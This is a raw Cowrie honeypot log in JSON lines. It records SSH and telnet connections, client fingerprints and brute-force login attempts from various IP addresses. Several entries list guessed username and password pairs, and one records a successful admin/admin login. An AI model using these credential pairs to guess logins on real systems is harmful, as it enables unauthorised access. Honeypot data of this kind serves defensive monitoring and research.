{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:46:57.551238Z","src_ip":"159.203.92.129","session":"1f23664ce135","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.404901027679443,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:47:00.043249Z","src_ip":"223.233.75.142","session":"b6793c4e9baf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":47874,"dst_ip":"159.203.135.109","dst_port":22,"session":"4375495ee9f5","protocol":"ssh","message":"New connection: 185.239.84.249:47874 (159.203.135.109:22) [session: 4375495ee9f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:47:20.338836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:47:20.344038Z","src_ip":"185.239.84.249","session":"4375495ee9f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:47:20.573392Z","src_ip":"185.239.84.249","session":"4375495ee9f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qaz@wsx","message":"login attempt [root/123qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:47:21.209726Z","src_ip":"185.239.84.249","session":"4375495ee9f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:47:22.426474Z","src_ip":"185.239.84.249","session":"4375495ee9f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":47494,"dst_ip":"159.203.135.109","dst_port":23,"session":"6059121467d6","protocol":"telnet","message":"New connection: 46.4.8.162:47494 (159.203.135.109:23) [session: 6059121467d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:47:25.924727Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.154.234.9","src_port":15686,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a65d15ab6c7","protocol":"ssh","message":"New connection: 212.154.234.9:15686 (10.17.0.5:22) [session: 3a65d15ab6c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:47:30.519979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:47:30.525662Z","src_ip":"212.154.234.9","session":"3a65d15ab6c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:47:30.706691Z","src_ip":"212.154.234.9","session":"3a65d15ab6c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"test@123","message":"login attempt [ftpuser/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:47:31.454933Z","src_ip":"212.154.234.9","session":"3a65d15ab6c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:47:32.636985Z","src_ip":"212.154.234.9","session":"3a65d15ab6c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55072,"dst_ip":"159.203.135.109","dst_port":22,"session":"77d89233d63d","protocol":"ssh","message":"New connection: 159.203.92.129:55072 (159.203.135.109:22) [session: 77d89233d63d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:47:39.002970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:47:39.008002Z","src_ip":"159.203.92.129","session":"77d89233d63d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:47:39.011901Z","src_ip":"159.203.92.129","session":"77d89233d63d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root01","message":"login attempt [admin/root01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:47:39.021177Z","src_ip":"159.203.92.129","session":"77d89233d63d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:47:40.026345Z","src_ip":"159.203.92.129","session":"77d89233d63d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":46312,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b6f20f4e491","protocol":"telnet","message":"New connection: 46.4.8.162:46312 (159.203.135.109:23) [session: 5b6f20f4e491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:47:56.945591Z"}
{"eventid":"cowrie.session.closed","duration":31.592191457748413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:47:57.516789Z","src_ip":"46.4.8.162","session":"6059121467d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":46324,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b4ddfe9a73b","protocol":"telnet","message":"New connection: 46.4.8.162:46324 (159.203.135.109:23) [session: 5b4ddfe9a73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:47:58.103037Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":56050,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b645febc1d3","protocol":"ssh","message":"New connection: 185.239.84.249:56050 (159.203.135.109:22) [session: 2b645febc1d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:21.510398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:21.515324Z","src_ip":"185.239.84.249","session":"2b645febc1d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49838,"dst_ip":"159.203.135.109","dst_port":22,"session":"9183df760b84","protocol":"ssh","message":"New connection: 159.203.92.129:49838 (159.203.135.109:22) [session: 9183df760b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:21.546120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:21.550838Z","src_ip":"159.203.92.129","session":"9183df760b84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:21.555671Z","src_ip":"159.203.92.129","session":"9183df760b84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root1","message":"login attempt [admin/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:21.568045Z","src_ip":"159.203.92.129","session":"9183df760b84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:21.726140Z","src_ip":"185.239.84.249","session":"2b645febc1d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:22.576739Z","src_ip":"159.203.92.129","session":"9183df760b84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456!@#","message":"login attempt [root/qq123456!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:22.609664Z","src_ip":"185.239.84.249","session":"2b645febc1d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:23.842841Z","src_ip":"185.239.84.249","session":"2b645febc1d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.803572416305542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:27.749064Z","src_ip":"46.4.8.162","session":"5b6f20f4e491","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.15237832069397,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:31.255327Z","src_ip":"46.4.8.162","session":"5b4ddfe9a73b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":25342,"dst_ip":"159.203.135.109","dst_port":22,"session":"4337ed89f767","protocol":"ssh","message":"New connection: 213.209.159.159:25342 (159.203.135.109:22) [session: 4337ed89f767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:56.059387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:56.062993Z","src_ip":"213.209.159.159","session":"4337ed89f767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:56.144644Z","src_ip":"213.209.159.159","session":"4337ed89f767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amiah","password":"amiah","message":"login attempt [amiah/amiah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:56.546917Z","src_ip":"213.209.159.159","session":"4337ed89f767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.82.13.133","src_port":51994,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8d04ceef799","protocol":"ssh","message":"New connection: 45.82.13.133:51994 (10.17.0.5:22) [session: a8d04ceef799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:57.007895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:57.011817Z","src_ip":"45.82.13.133","session":"a8d04ceef799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:57.106266Z","src_ip":"45.82.13.133","session":"a8d04ceef799","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:57.313318Z","src_ip":"45.82.13.133","session":"a8d04ceef799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:57.419263Z","src_ip":"45.82.13.133","session":"a8d04ceef799","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":28382,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ba2516cb57b","protocol":"ssh","message":"New connection: 130.12.180.51:28382 (10.17.0.5:22) [session: 0ba2516cb57b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:57.500805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:48:57.507979Z","src_ip":"130.12.180.51","session":"0ba2516cb57b","protocol":"ssh"}
